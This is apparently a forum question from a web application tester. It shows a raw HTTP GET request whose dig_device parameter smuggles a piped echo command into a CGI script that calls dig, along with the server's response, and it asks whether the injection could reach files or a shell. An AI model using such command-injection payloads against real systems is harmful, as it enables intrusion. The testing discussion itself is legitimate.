While testing a web application today, I came across a function that passed arguments to
dig in linux terminal. After some fiddling about I was able to pass the echo command using pipes and echo my input to the response however I failed to launch any other commands.
Now my question is that is it possible to use the echo command in a malicious way to access sensitive files on the system or gain a shell?
Here is the vulnerable GET request:
GET /cgi-mod/test.cgi?dig_device=188.8.131.52"|echo%20abc123%20|| HTTP/1.1 Host: test.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close
And here is the response:
HTTP/1.1 200 OK Server: TestServer Date: Mon, 02 May 2016 11:03:40 GMT Content-Type: text/html Connection: close Status: 200 OK X-Frame-Options: SAMEORIGIN Content-Length: 1576 <html><head><meta charset="utf-8" /><title></title></head><body><pre><!-- ; <<>> DiG 9.4.1-P1 <<>> abc123 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32623 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;abc123. IN A ;; ANSWER SECTION: abc123. 10 IN A 184.108.40.206 abc123. 10 IN A 220.127.116.11 ;; Query time: 69 msec ;; SERVER: 18.104.22.168#53(22.214.171.124) ;; WHEN: Mon May 2 04:03:41 2016 ;; MSG SIZE rcvd: 56